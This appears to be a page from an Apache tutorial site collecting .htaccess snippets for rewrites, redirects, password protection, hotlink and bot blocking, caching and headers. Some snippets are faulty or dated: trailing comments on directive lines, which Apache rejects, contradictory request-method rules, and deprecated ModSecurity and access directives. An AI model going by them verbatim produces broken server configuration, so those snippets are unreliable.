<p>Here are some default MOD_REWRITE code examples.</p>
<pre>
## REWRITE DEFAULTS
RewriteEngine On
RewriteBase /
## REQUIRE SUBDOMAIN
RewriteCond %{HTTP_HOST} !^$
RewriteCond %{HTTP_HOST} !^subdomain\.askapache\.com$ [NC]
RewriteRule ^/(.*)$ http://subdomain.askapache.com/$1 [L,R=301]
## SEO REWRITES
RewriteRule ^(.*)/ve/(.*)$ $1/voluntary-employee/$2 [L,R=301]
RewriteRule ^(.*)/hsa/(.*)$ $1/health-saving-account/$2 [L,R=301]
## WORDPRESS
RewriteCond %{REQUEST_FILENAME} !-f  # Existing File
RewriteCond %{REQUEST_FILENAME} !-d  # Existing Directory
RewriteRule . /index.php [L]
## ALTERNATIVE ANTI-HOTLINKING
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(subdomain\.)?askapache.com/.*$ [NC]
RewriteRule ^.*\.(bmp|tif|gif|jpg|jpeg|jpe|png)$ - [F]
## REDIRECT HOTLINKERS
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(subdomain\.)?askapache.com/.*$ [NC]
RewriteRule ^.*\.(bmp|tif|gif|jpg|jpeg|jpe|png)$ http://google.com [R]
## DENY REQUEST BASED ON REQUEST METHOD
RewriteCond %{REQUEST_METHOD} ^(TRACE|TRACK|OPTIONS|HEAD)$ [NC]
RewriteRule ^.*$ - [F]
## REDIRECT UPLOADS
RewriteCond %{REQUEST_METHOD} ^(PUT|POST)$ [NC]
RewriteRule ^(.*)$ /cgi-bin/form-upload-processor.cgi?p=$1 [L,QSA]
## REQUIRE SSL EVEN WHEN MOD_SSL IS NOT LOADED
RewriteCond %{HTTPS} !=on [NC]
RewriteRule ^.*$ https://%{SERVER_NAME}%{REQUEST_URI} [R,L]
### ALTERNATATIVE TO USING ERRORDOCUMENT
# http://www.htaccesselite.com/d/htaccess-errordocument-examples-vt11.html
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule ^.*$ /error.php [L]
## SEO REDIRECTS
Redirect 301 /2006/oldfile.html http://subdomain.askapache.com/newfile.html
RedirectMatch 301 /o/(.*)$ http://subdomain.askapache.com/s/dl/$1
</pre>
<p>Examples of protecting your files and securing with password protection.</p>
<pre>
#
# Require (user|group|valid-user) (username|groupname)
#
## BASIC PASSWORD PROTECTION
AuthType basic
AuthName "prompt"
AuthUserFile /.htpasswd
AuthGroupFile /dev/null
Require valid-user
## ALLOW FROM IP OR VALID PASSWORD
Require valid-user
Allow from 192.168.1.23
Satisfy Any
## PROTECT FILES
&lt;FilesMatch "\.(htaccess|htpasswd|ini|phps|fla|psd|log|sh)$"&gt;
Order Allow,Deny
Deny from all
&lt;/FilesMatch&gt;
## PREVENT HOTLINKING
SetEnvIfNoCase Referer "^http://subdomain.askapache.com/" good
SetEnvIfNoCase Referer "^$" good
&lt;FilesMatch "\.(png|jpg|jpeg|gif|bmp|swf|flv)$"&gt;
Order Deny,Allow
Deny from all
Allow from env=good
ErrorDocument 403 http://www.google.com/intl/en_ALL/images/logo.gif
ErrorDocument 403 /images/you_bad_hotlinker.gif
&lt;/FilesMatch&gt;
## LIMIT UPLOAD FILE SIZE TO PROTECT AGAINST DOS ATTACK
#bytes, 0-2147483647(2GB)
LimitRequestBody 10240000
## MOST SECURE WAY TO REQUIRE SSL
# http://www.askapache.com/htaccess/apache-ssl-in-htaccess-examples.html
SSLOptions +StrictRequire
SSLRequireSSL
SSLRequire %{HTTP_HOST} eq "askapache.com"
ErrorDocument 403 https://askapache.com
## COMBINED DEVELOPER HTACCESS CODE-USE THIS
&lt;FilesMatch "\.(flv|gif|jpg|jpeg|png|ico|js|css|pdf|swf|html|htm|txt)$"&gt;
Header set Cache-Control "max-age=5"
&lt;/FilesMatch&gt;
AuthType basic
AuthName "Ooops! Temporarily Under Construction..."
AuthUserFile /.htpasswd
AuthGroupFile /dev/null
Require valid-user      # password prompt for everyone else
Order Deny,Allow
Deny from all
Allow from 192.168.64.5   # Your, the developers IP address
Allow from w3.org      # css/xhtml check jigsaw.w3.org/css-validator/
Allow from googlebot.com   # Allows google to crawl your pages
Satisfy Any        # no password required if host/ip is Allowed
## DONT HAVE TO EMPTY CACHE OR RELOAD TO SEE CHANGES
ExpiresDefault A5 #If using mod_expires
&lt;FilesMatch "\.(flv|gif|jpg|jpeg|png|ico|js|css|pdf|swf|html|htm|txt)$"&gt;
Header set Cache-Control "max-age=5"
&lt;/FilesMatch&gt;
## ALLOW ACCESS WITH PASSWORD OR NO PASSWORD FOR SPECIFIC IP/HOSTS
AuthType basic
AuthName "Ooops! Temporarily Under Construction..."
AuthUserFile /.htpasswd
AuthGroupFile /dev/null
Require valid-user      # password prompt for everyone else
Order Deny,Allow
Deny from all
Allow from 192.168.64.5   # Your, the developers IP address
Allow from w3.org      # css/xhtml check jigsaw.w3.org/css-validator/
Allow from googlebot.com   # Allows google to crawl your pages
Satisfy Any        # no password required if host/ip is Allowed
</pre>
<hr class="C" />






<h2>Example .htaccess Code Snippets</h2>
<p>Here are some specific examples, this is the most popular section of this page.  Updated frequently.</p>

<h4>Redirect Everyone Except IP address to alternate page</h4>
<pre>
ErrorDocument 403 http://www.yahoo.com/
Order deny,allow
Deny from all
Allow from 208.113.134.190
</pre>

<h4>When developing sites</h4>
<p>This lets google crawl the page, lets me access  without a password, and lets my client access the page WITH a password.  It also allows for XHTML and CSS validation! (w3.org)</p>
<pre>
AuthName "Under Development"
AuthUserFile /home/sitename.com/.htpasswd
AuthType basic
Require valid-user
Order deny,allow
Deny from all
Allow from 208.113.134.190 w3.org htmlhelp.com googlebot.com
Satisfy Any
</pre>

<h4>Fix double-login prompt</h4>
<p>Redirect non-https requests to https server and ensure that <strong>.htpasswd authorization</strong> can only be entered across HTTPS</p>
<pre>
SSLOptions +StrictRequire
SSLRequireSSL
SSLRequire %{HTTP_HOST} eq "askapache.com"
ErrorDocument 403 https://askapache.com
</pre>

<h4>Set Timezone of the Server (GMT)</h4>
<pre>
SetEnv TZ America/Indianapolis
</pre>

<h4>Administrator Email for ErrorDocument</h4>
<pre>
SetEnv SERVER_ADMIN webmaster@google.com
</pre>

<h4><code>ServerSignature</code> for <code>ErrorDocument</code></h4>
<pre>
ServerSignature off | on | email
</pre>

<h4>Charset and Language headers</h4>
<p>Article: <a href="/htaccess/setting-charset-in-htaccess.html">Setting Charset in htaccess</a>, and <a href="http://www.w3.org/International/questions/qa-htaccess-charset">article by <cite>Richard Ishida</cite></a></p>
<pre>
AddDefaultCharset UTF-8
DefaultLanguage en-US
</pre>

<h4>Disallow Script Execution</h4>
<pre>
Options -ExecCGI
AddHandler cgi-script .php .pl .py .jsp .asp .htm .shtml .sh .cgi
</pre>

<h4>Deny Request Methods</h4>
<pre>
RewriteCond %{REQUEST_METHOD} !^(GET|HEAD|OPTIONS|POST|PUT)
RewriteRule .* - [F]
</pre>

<h4>Force "File Save As" Prompt</h4>
<pre>
AddType application/octet-stream .avi .mpg .mov .pdf .xls .mp4
</pre>

<h4>Show CGI Source Code</h4>
<pre>
RemoveHandler cgi-script .pl .py .cgi
AddType text/plain .pl .py .cgi
</pre>

<h4>Serve all .pdf files on your site using .htaccess and mod_rewrite with the php script.</h4>
<pre>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} -f
RewriteRule ^(.+)\.pdf$  /cgi-bin/pdf.php?file=$1 [L,NC,QSA]
</pre>

<h4>Rewrite to www</h4>
<pre>
RewriteCond %{REQUEST_URI} !^/(robots\.txt|favicon\.ico|sitemap\.xml)$
RewriteCond %{HTTP_HOST} !^www\.askapache\.com$ [NC]
RewriteRule ^(.*)$ http://www.askapache.com/$1 [R=301,L]
</pre>

<h4>Rewrite to www dynamically</h4>
<pre>
RewriteCond %{REQUEST_URI} !^/robots\.txt$ [NC]
RewriteCond %{HTTP_HOST} !^www\.[a-z-]+\.[a-z]{2,6} [NC]
RewriteCond %{HTTP_HOST} ([a-z-]+\.[a-z]{2,6})$   [NC]
RewriteRule ^/(.*)$ http://%1/$1 [R=301,L]
</pre>

<h4>301 Redirect Old File</h4>
<pre>
Redirect 301 /old/file.html http://www.askapache.com/new/file.html
</pre>

<h4>301 Redirect Entire Directory</h4>
<pre>
RedirectMatch 301 /blog(.*) http://www.askapache.com/$1
</pre>

<h4>Protecting your php.cgi</h4>
<pre>
&lt;FilesMatch "^php5?\.(ini|cgi)$"&gt;
Order Deny,Allow
Deny from All
Allow from env=REDIRECT_STATUS
&lt;/FilesMatch&gt;
</pre>

<h4>Set Cookie based on Request</h4>
<p>This code sends the <code>Set-Cookie</code> header to create a cookie on the client with the value of a matching item in 2nd parantheses.</p>
<pre>
RewriteEngine On
RewriteBase /
RewriteRule ^(.*)(de|es|fr|it|ja|ru|en)/$ - [co=lang:$2:.askapache.com:7200:/]
</pre>

<h4>Set Cookie with env variable</h4>
<pre>
Header set Set-Cookie "language=%{lang}e; path=/;" env=lang
</pre>

<h4>Custom ErrorDocuments</h4>
<pre>
ErrorDocument 100 /100_CONTINUE
ErrorDocument 101 /101_SWITCHING_PROTOCOLS
ErrorDocument 102 /102_PROCESSING
ErrorDocument 200 /200_OK
ErrorDocument 201 /201_CREATED
ErrorDocument 202 /202_ACCEPTED
ErrorDocument 203 /203_NON_AUTHORITATIVE
ErrorDocument 204 /204_NO_CONTENT
ErrorDocument 205 /205_RESET_CONTENT
ErrorDocument 206 /206_PARTIAL_CONTENT
ErrorDocument 207 /207_MULTI_STATUS
ErrorDocument 300 /300_MULTIPLE_CHOICES
ErrorDocument 301 /301_MOVED_PERMANENTLY
ErrorDocument 302 /302_MOVED_TEMPORARILY
ErrorDocument 303 /303_SEE_OTHER
ErrorDocument 304 /304_NOT_MODIFIED
ErrorDocument 305 /305_USE_PROXY
ErrorDocument 307 /307_TEMPORARY_REDIRECT
ErrorDocument 400 /400_BAD_REQUEST
ErrorDocument 401 /401_UNAUTHORIZED
ErrorDocument 402 /402_PAYMENT_REQUIRED
ErrorDocument 403 /403_FORBIDDEN
ErrorDocument 404 /404_NOT_FOUND
&nbsp;
ErrorDocument 405 /405_METHOD_NOT_ALLOWED
ErrorDocument 406 /406_NOT_ACCEPTABLE
ErrorDocument 407 /407_PROXY_AUTHENTICATION_REQUIRED
ErrorDocument 408 /408_REQUEST_TIME_OUT
ErrorDocument 409 /409_CONFLICT
ErrorDocument 410 /410_GONE
ErrorDocument 411 /411_LENGTH_REQUIRED
ErrorDocument 412 /412_PRECONDITION_FAILED
ErrorDocument 413 /413_REQUEST_ENTITY_TOO_LARGE
ErrorDocument 414 /414_REQUEST_URI_TOO_LARGE
ErrorDocument 415 /415_UNSUPPORTED_MEDIA_TYPE
ErrorDocument 416 /416_RANGE_NOT_SATISFIABLE
ErrorDocument 417 /417_EXPECTATION_FAILED
ErrorDocument 422 /422_UNPROCESSABLE_ENTITY
ErrorDocument 423 /423_LOCKED
ErrorDocument 424 /424_FAILED_DEPENDENCY
ErrorDocument 426 /426_UPGRADE_REQUIRED
ErrorDocument 500 /500_INTERNAL_SERVER_ERROR
ErrorDocument 501 /501_NOT_IMPLEMENTED
ErrorDocument 502 /502_BAD_GATEWAY
ErrorDocument 503 /503_SERVICE_UNAVAILABLE
ErrorDocument 504 /504_GATEWAY_TIME_OUT
ErrorDocument 505 /505_VERSION_NOT_SUPPORTED
ErrorDocument 506 /506_VARIANT_ALSO_VARIES
ErrorDocument 507 /507_INSUFFICIENT_STORAGE
ErrorDocument 510 /510_NOT_EXTENDED
</pre>

<h4>Implementing a Caching Scheme with .htaccess</h4>
<pre>
# year
&lt;FilesMatch "\.(ico|pdf|flv|jpg|jpeg|png|gif|swf|mp3|mp4)$"&gt;
Header set Cache-Control "public"
Header set Expires "Thu, 15 Apr 2010 20:00:00 GMT"
Header unset Last-Modified
&lt;/FilesMatch&gt;
#2 hours
&lt;FilesMatch "\.(html|htm|xml|txt|xsl)$"&gt;
Header set Cache-Control "max-age=7200, must-revalidate"
&lt;/FilesMatch&gt;
&lt;FilesMatch "\.(js|css)$"&gt;
SetOutputFilter DEFLATE
Header set Expires "Thu, 15 Apr 2010 20:00:00 GMT"
&lt;/FilesMatch&gt;
</pre>

<h4>Password Protect single file</h4>
<pre>
&lt;Files login.php&gt;
AuthName "Prompt"
AuthType Basic
AuthUserFile /home/askapache.com/.htpasswd
Require valid-user
&lt;/Files&gt;
</pre>

<h4>Password Protect multiple files</h4>
<pre>
&lt;FilesMatch "^(private|phpinfo)\.*$"&gt;
AuthName "Development"
AuthUserFile /.htpasswd
AuthType basic
Require valid-user
&lt;/FilesMatch&gt;
</pre>

<h4>Send Custom Headers</h4>
<pre>
Header set P3P "policyref=\"http://www.askapache.com/w3c/p3p.xml\""
Header set X-Pingback "http://www.askapache.com/xmlrpc.php"
Header set Content-Language "en-US"
Header set Vary "Accept-Encoding"
</pre>

<h4>Blocking based on User-Agent Header</h4>
<pre>
SetEnvIfNoCase ^User-Agent$ .*(craftbot|download|extract|stripper|sucker|ninja|clshttp|webspider|leacher|collector|grabber|webpictures) HTTP_SAFE_BADBOT
SetEnvIfNoCase ^User-Agent$ .*(libwww-perl|aesop_com_spiderman) HTTP_SAFE_BADBOT
Deny from env=HTTP_SAFE_BADBOT
</pre>

<h4>Blocking with RewriteCond</h4>
<pre>
RewriteCond %{HTTP_USER_AGENT} ^.*(craftbot|download|extract|stripper|sucker|ninja|clshttp|webspider|leacher|collector|grabber|webpictures).*$ [NC]
RewriteRule . - [F,L]
</pre>

<h4>.htaccess for mod_php</h4>
<pre>
SetEnv PHPRC /location/todir/containing/phpinifile
</pre>

<h4>.htaccess for php as cgi</h4>
<pre>
AddHandler php-cgi .php .htm
Action php-cgi /cgi-bin/php5.cgi
</pre>

<h4>Shell wrapper for custom php.ini</h4>
<pre>
#!/bin/sh
export PHP_FCGI_CHILDREN=3
exec php5.cgi -c /abs/php5/php.ini
</pre>

<h4>Add values from HTTP Headers</h4>
<pre>
SetEnvIfNoCase ^If-Modified-Since$ "(.+)" HTTP_IF_MODIFIED_SINCE=$1
SetEnvIfNoCase ^If-None-Match$ "(.+)" HTTP_IF_NONE_MATCH=$1
SetEnvIfNoCase ^Cache-Control$ "(.+)" HTTP_CACHE_CONTROL=$1
SetEnvIfNoCase ^Connection$ "(.+)" HTTP_CONNECTION=$1
SetEnvIfNoCase ^Keep-Alive$ "(.+)" HTTP_KEEP_ALIVE=$1
SetEnvIfNoCase ^Authorization$ "(.+)" HTTP_AUTHORIZATION=$1
SetEnvIfNoCase ^Cookie$ "(.+)" HTTP_MY_COOKIE=$1
</pre>

<h4>Stop hotlinking</h4>
<pre>
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www\.)?askapache.com/.*$ [NC]
RewriteRule \.(gif|jpg|swf|flv|png)$ http://www.askapache.com/feed.gif [R=302,L]
</pre>

<h4>Turn logging off for IP</h4>
<pre>
SecFilterSelective REMOTE_ADDR "208\.113\.183\.103" "nolog,noauditlog,pass"
</pre>

<h4>Turn logging on for IP</h4>
<pre>
SecFilterSelective REMOTE_ADDR "!^208\.113\.183\.103" "nolog,noauditlog,pass"
SecFilterSelective REMOTE_ADDR "208\.113\.183\.103" "log,auditlog,pass"
</pre>
<hr class="C" />






<h2>Advanced Mod_Rewrite Examples</h2>






<h2>Best .htaccess Articles</h2>

<h3><a title="Apache HTTP Web Server htaccess tips and tricks" rel="chapter" href="http://www.askapache.com/htaccess/htaccess-for-webmasters.html">.htaccess for Webmasters</a></h3><ul><li><a title="htaccess trick to run requests through a cgi script" href="/htaccess/htaccess-for-webmasters.html#process-file-through-cgi">Process certain requests for files using a cgi script</a></li><li><a title="htaccess security for apache hacking" href="/htaccess/htaccess-for-webmasters.html#process-request-methods-with-script">Process Requests with certain Request Methods</a></li><li><a title="Apache ForceType Directive in htaccess process file" href="/htaccess/htaccess-for-webmasters.html#force-filetype-with-forcetype">Make any file be a certain filetype</a></li><li><a title="Using the IfModule Directive in Apache htaccess files." href="/htaccess/htaccess-for-webmasters.html#ifmodule-in-apache">Use IfModule directive for robust code</a></li></ul>

<h3><a title="mod_rewrite RewriteRule, RewriteCond help" rel="chapter" href="http://www.askapache.com/htaccess/mod_rewrite-tips-and-tricks.html">Mod_Rewrite URL Rewriting</a></h3><p><a class="hs hs13" href="/htaccess/crazy-advanced-mod_rewrite-tutorial.html#decoded"></a>Undocumented techniques and methods will allow you to utilize mod_rewrite at an  "expert level" by showing you how to <a href="/htaccess/crazy-advanced-mod_rewrite-tutorial.html#decoded">unlock its secrets</a>.</p><ul><li><a title="Search query string at QUERY_STRING" href="/htaccess/mod_rewrite-tips-and-tricks.html#check-for-key-in-query-string">Check for a key in QUERY_STRING</a></li><li><a title="Deny access using htaccess during certain time" href="/htaccess/mod_rewrite-tips-and-tricks.html#time-based-access">Block access to files during certain hours of the day</a></li><li><a title="Change underscores to hyphens for SEO URL" href="/htaccess/mod_rewrite-tips-and-tricks.html#convert-underscore-hyphen">Rewrite underscores to hyphens for SEO URL</a></li><li><a title="Rewriting WordPress RSS feeds to Feedburner in SEO friendly method" href="/htaccess/mod_rewrite-tips-and-tricks.html#redirect-wordpress-feed">Redirecting WordPress Feeds to Feedburner</a></li></ul>

<h3><a title="301 Redirects" rel="chapter" href="http://www.askapache.com/htaccess/seo-search-engine-friendly-redirects-without-mod_rewrite.html">301 Redirects without mod_rewrite</a></h3><ul><li><a title="301 Redirect single file" href="/htaccess/seo-search-engine-friendly-redirects-without-mod_rewrite.html#seo-301-redirect-single-file">Redirect single url</a></li><li><a title="301 Redirect new domain" href="/htaccess/seo-search-engine-friendly-redirects-without-mod_rewrite.html#seo-301-redirect-new-domain">Redirect to new Domain</a></li></ul>

<h3><a href="/htaccess/php-cgi-redirect_status.html">Secure PHP with .htaccess</a></h3>
<p><a class="IFL" title="Locking down your php.ini and php cgi with .htaccess" href="/htaccess/php-cgi-redirect_status.html"><img src="http://uploads.askapache.com/2008/01/jail-bars-1.png" alt="Locking down your php.ini and php cgi with .htaccess" title="jail bars 1 htaccess" /></a>If you have a php.cgi or php.ini file in your /cgi-bin/ directory or other pub directory, try requesting them from your web browser.  If your php.ini shows up or worse you are able to execute your php cgi, you'll need to secure it ASAP.  This shows several ways to secure these files, and other interpreters like perl, fastCGI, bash, csh, etc.<br class="C" /></p>

<h3><a href="/htaccess/htaccess-fresh.html">.htaccess Cookie Manipulation</a></h3><p><a class="IFL" title="Cookie Manipulation in .htaccess with RewriteRule" href="/htaccess/htaccess-fresh.html"><img src="http://uploads.askapache.com/2007/10/cookies.png" alt="Cookie Manipulation in .htaccess with RewriteRule" title="cookies htaccess" /></a><strong>Fresh <a href="/htaccess/htaccess.html">.htaccess</a> code</strong> for you!  Check out the Cookie Manipulation and environment variable usage with mod_rewrite!  I also included a couple Mod_Security .htaccess examples. <strong>Enjoy!</strong><br class="C" /></p><ul><li><a href="/htaccess/htaccess-fresh.html#modrewrite1">Mod_Rewrite .htaccess Examples</a></li><li><a href="/htaccess/htaccess-fresh.html#modrewrite2">Cookie Manipulation and Tests with mod_rewrite</a></li><li><a href="/htaccess/htaccess-fresh.html#modrewrite3">Setting Environment Variables</a></li><li><a href="/htaccess/htaccess-fresh.html#modrewrite4">Using the Environment Variable</a></li><li><a href="/htaccess/htaccess-fresh.html#modrewrite5">Mod_Security .htaccess Examples</a></li></ul>

<h3><a title="htaccess Caching" rel="chapter" href="http://www.askapache.com/htaccess/speed-up-your-site-with-caching-and-cache-control.html">.htaccess Caching</a></h3><ul><li><a href="/htaccess/speed-up-sites-with-htaccess-caching.html">Speed Up Sites with htaccess Caching</a></li><li><a title="htaccess time cheatsheet" href="/htaccess/speed-up-your-site-with-caching-and-cache-control.html#htaccess-time-cheatsheet">htaccess time cheat sheet</a></li></ul>

<h3><a title="401, 403 htpasswd authentication" rel="chapter" href="http://www.askapache.com/htaccess/apache-authentication-in-htaccess.html">Password Protection and Authentication</a></h3><ul><li><a title="Requiring a password for single file" href="/htaccess/apache-authentication-in-htaccess.html#require-password-for-single-file">Require password for single file</a></li><li><a title="A comprehensive default Apache .htaccess example file" href="/htaccess/apache-authentication-in-htaccess.html#skeleton-htaccess">Example .htaccess file for password protection</a></li></ul>

<h3><a title="Creating and using HTTP Headers with htaccess" rel="chapter" href="http://www.askapache.com/htaccess/using-http-headers-with-htaccess.html">Control HTTP Headers</a></h3><ul><li><a title="Prevent Browsers and Proxies from caching" href="/htaccess/using-http-headers-with-htaccess.html#prevent-caching-with-htaccess">Prevent Caching 100%</a></li><li><a title="Remove Internet Explorer imagetoolbar" href="/htaccess/using-http-headers-with-htaccess.html#remove-ie-imagetoolbar">Remove IE imagetoolbar without meta tag</a></li><li><a title="How To use Apache to send P3P Privacy Header for website" href="/htaccess/using-http-headers-with-htaccess.html#privacy-p3p-header-in-apache">Add Privacy (P3P) Header to your site</a></li><li><a title="Language header, Charset header without meta" href="/htaccess/using-http-headers-with-htaccess.html#language-and-content-header-in-htaccess">Add language and charset headers without meta tags</a></li></ul>

<h3><a href="/htaccess/blocking-bad-bots-and-scrapers-with-htaccess.html">Blocking Spam and bad Bots</a></h3><p><a class="IFR" href="/htaccess/blocking-bad-bots-and-scrapers-with-htaccess.html"><img title="Block Bad Robot" src="http://uploads.askapache.com/2008/04/bad_robot1.png" alt="Block Bad Robot" height="100" /></a>Want to block a bad robot or web scraper using .htaccess files?  Here are 2 methods that illustrate blocking 436 various user-agents.  You can block them using either SetEnvIf methods, or by using Rewrite Blocks.<br class="C" /></p>

<h3><a title="php htaccess tips, htaccess php tricks" rel="chapter" href="http://www.askapache.com/htaccess/php-htaccess-tips-and-tricks.html">PHP htaccess tips</a></h3><p>By using some cool .htaccess tricks we can control PHP to be run as a cgi or a module.  If php is run as a cgi then we need to compile it ourselves or use .htaccess to force php to use a local php.ini file.  If it is running as a module then we can use various directives supplied by that modules in .htaccess</p><ul><li><a title=".htaccess for php as cgi" href="/htaccess/php-htaccess-tips-and-tricks.html#php-run-as-cgi">When php run as CGI</a></li><li><a title="custom php.ini with Apache htaccess using PHPRC" href="/htaccess/php-htaccess-tips-and-tricks.html#htaccess-php-ini">Use a custom php.ini with mod_php or php as a cgi</a></li><li><a title="htaccess tips for mod_php php running as Apache module" href="/htaccess/php-htaccess-tips-and-tricks.html#sub-mod_php">When php run as Apache Module (mod_php)</a></li><li><a title="Apache FastCGI wrapper for php cgi" href="/htaccess/php-htaccess-tips-and-tricks.html#php-and-fastcgi-in-htaccess">When cgi php is run with wrapper (FastCGI)</a></li></ul>

<h3><a href="/htaccess/http-https-rewriterule-redirect.html">HTTP to HTTPS Redirects with mod_rewrite</a></h3><p><a href="/htaccess/http-https-rewriterule-redirect.html"><img class="IFL" src="http://uploads.askapache.com/2007/11/security.png" alt="HTTP to HTTPS Redirects with mod_rewrite" title="security htaccess" /></a>This is freaking sweet if you use SSL I promise you!  Basically instead of having to check for HTTPS using a <code>RewriteCond %{HTTPS} =on</code> for every redirect that can be either HTTP or HTTPS, I set an environment variable once with the value "http" or "https" if HTTP or HTTPS is being used for that request, and use that env variable in the RewriteRule.<br class="C" /></p>

<h3><a title="Apache SSL examples" rel="chapter" href="http://www.askapache.com/htaccess/ssl-example-usage-in-htaccess.html">SSL in .htaccess</a></h3><ul><li><a title="Redirecting non-SSL to SSL in Apache" href="/htaccess/ssl-example-usage-in-htaccess.html#redirect-http-to-https">Redirect non-https requests to https server</a></li><li><a title="redirect HTTP to HTTPS without mod_ssl!" href="/htaccess/ssl-example-usage-in-htaccess.html#rewrite-http-to-https-no-mod_ssl">Rewrite non-https to HTTPS without mod_ssl!</a></li><li><a title="Redirect HTTP to HTTPS by port" href="/htaccess/ssl-example-usage-in-htaccess.html#redirect-port-80-to-https">Redirect everything served on port 80 to HTTPS URI</a></li></ul>

<h3><a title="Conditionally setting variables in Apache .htaccess" rel="chapter" href="http://www.askapache.com/htaccess/setenvif.html">SetEnvIf and SetEnvIfNoCase in .htaccess</a></h3><ul><li><a title="Unique mod_setenvif Variables" href="/htaccess/setenvif.html#setenvif-variables">Unique mod_setenvif Variables</a></li><li><a title="Populates HTTP_MY_ Variables with mod_setenvif variable values" href="/htaccess/setenvif.html#http-headers">Populates HTTP_MY_ Variables with mod_setenvif variable values</a></li><li><a title="Allows only if HOST Header is present in request" href="/htaccess/setenvif.html#allow-host">Allows only if HOST Header is present in request</a></li><li><a title="Add values from HTTP Headers" href="/htaccess/setenvif.html#header-copy">Add values from HTTP Headers</a></li></ul>

<h3><a title="htaccess security and hacking" rel="chapter" href="http://www.askapache.com/htaccess/security-with-htaccess.html">Site Security with .htaccess</a></h3>
<p>chmod .htpasswd files 640, chmod .htaccess 644, php files 600, and chmod files that you really dont want people to see as 400. (NEVER chmod 777, try 766)</p>
<ul><li><a title="CHMOD .htaccess, chmod .htpasswd, chmodding files" href="/htaccess/security-with-htaccess.html#chmod-htaccess-info">CHMOD your files</a></li><li><a title="Deny access for htaccess/htpasswd file" href="/htaccess/security-with-htaccess.html#deny-htaccess-htpasswd-access">Prevent access to .htaccess and .htpasswd files</a></li><li><a title="Show source code in browser, prevent executing file" href="/htaccess/security-with-htaccess.html#show-source-code">Show Source Code instead of executing</a></li><li><a title="Remove execution privileges" href="/htaccess/security-with-htaccess.html#securing-directories-with-htaccess">Securing directories: Remove ability to execute scripts</a></li><li><a title="ErrorDocument usage in htaccess files" href="/htaccess/security-with-htaccess.html#errordocument-usage-in-htaccess">.htaccess ErrorDocuments</a></li></ul>

<h3><a title="mod_security Guide and sample mod_Security diretive usage in .htaccess" rel="chapter" href="http://www.askapache.com/htaccess/mod_security-htaccess-tricks.html">.htaccess Security with MOD_SECURITY</a></h3><ul><li><a href="/htaccess/mod_security-htaccess-tricks.html#mod_security-mod_rewrite">mod_security + mod_rewrite</a></li><li><a href="/htaccess/mod_security-htaccess-tricks.html#block-post-spam">Block Spam by examining POST form fields</a></li><li><a href="/htaccess/mod_security-htaccess-tricks.html#disable-mod_security">Disabling mod_security conditionally per IP</a></li><li><a href="/htaccess/mod_security-htaccess-tricks.html#mod_security-authorization">Disabling mod_security with .htaccess Authorization</a></li><li><a href="/htaccess/mod_security-htaccess-tricks.html#block-wordpress-spam">Block WordPress Spam Forever!</a></li><li><a href="/htaccess/mod_security-htaccess-tricks.html#pause-connections">Force Any Connections to be Paused a set number of ms</a></li><li><a href="/htaccess/mod_security-htaccess-tricks.html#mod_security-debugging">ModSecurity Debugging and Logging</a></li><li><a href="/htaccess/mod_security-htaccess-tricks.html#conditional-logging">Turn Off/On Logging JUST for your IP Address</a></li><li><a href="/htaccess/mod_security-htaccess-tricks.html#mod_security-directives">Mod_Security Directives for DreamHost</a></li><li><a href="/htaccess/mod_security-htaccess-tricks.html#httpdconf-rules">Example httpd.conf mod_security rule files</a></li></ul>
<hr class="C" />





<h3>Merging Notes</h3>
<p>The order of merging is:</p>
<ol>
<li><code>&lt;Directory&gt;</code> (except regular expressions) and .htaccess done simultaneously (with .htaccess, if allowed, overriding <code>&lt;Directory&gt;</code>)</li>
<li><code>&lt;DirectoryMatch&gt;</code> (and <code>&lt;Directory ~&gt;</code>)</li>
<li><code>&lt;Files&gt;</code> and <code>&lt;FilesMatch&gt;</code> done simultaneously</li>
<li><code>&lt;Location&gt;</code> and <code>&lt;LocationMatch&gt;</code> done simultaneously</li>
</ol>
<p>Below is an artificial example to show the order of merging. Assuming they all apply to the request, the directives in this example will be applied in the order:</p>
<p><code>A &gt; B &gt; C &gt; D &gt; E</code></p>.
<pre>
&lt;Location /&gt;
E
&lt;/Location&gt;
&lt;Files askapache.txt&gt;
D
&lt;/Files&gt;
&lt;VirtualHost *&gt;
&lt;Directory /a/b&gt;
B
&lt;/Directory&gt;
&lt;/VirtualHost&gt;
&lt;DirectoryMatch "^.*b$"&gt;
C
&lt;/DirectoryMatch&gt;
&lt;Directory /a/b&gt;
A
&lt;/Directory&gt;
</pre>





<h2>My Favorite .htaccess Links</h2>
<p class="anote">These are just some of my favorite <a href="http://www.google.com/Top/Computers/Internet/Web_Design_and_Development/Authoring/FAQs,_Help,_and_Tutorials/Access_Control/">.htaccess resources</a>.  I'm really into doing your own hacking to get knowledge and these links are all great resources in that respect.  I'm really interested in new or unusual htaccess solutions or htaccess hacks using .htaccess files, so let me know if you find one.</p>
<p><strong>NCSA HTTPd Tutorials</strong><br /></p>
<p><strong>Robert Hansen</strong><br />Here's a great <a href="http://www.securityfocus.com/infocus/1368">Hardening HTAccess part 1</a>, <a href="http://www.securityfocus.com/infocus/1369">part 2</a>, <a href="http://www.securityfocus.com/infocus/1370">part 3</a> article that goes into detail about some of the rarer security applications for .htaccess files.</p>
<p><strong>SAMAXES</strong><br />Some very detailed and helpful .htaccess articles, such as the <a href="http://www.samaxes.com/2008/04/20/htaccess-gzip-and-cache-your-site-for-faster-loading-and-bandwidth-saving/">".htaccess - gzip and cache your site for faster loading and bandwidth saving."</a></p>
<p><strong>PerishablePress</strong><br /><a href="http://perishablepress.com/press/2006/01/10/stupid-htaccess-tricks/">Stupid .htaccess tricks</a> is probably the <strong>best explanation online</strong> for many of the best .htaccess solutions, including many from this page. Unlike me they are fantastic writers, even for technical stuff they are very readable, so its a good blog to kick back on and read.  They also have a <a title="Eight Ways to Blacklist with Apache's mod_rewrite" href="http://perishablepress.com/press/2009/02/03/eight-ways-to-blacklist-with-apaches-mod_rewrite/">fantastic article</a> detailing how to block/deny specific requests using mod_rewrite.</p>
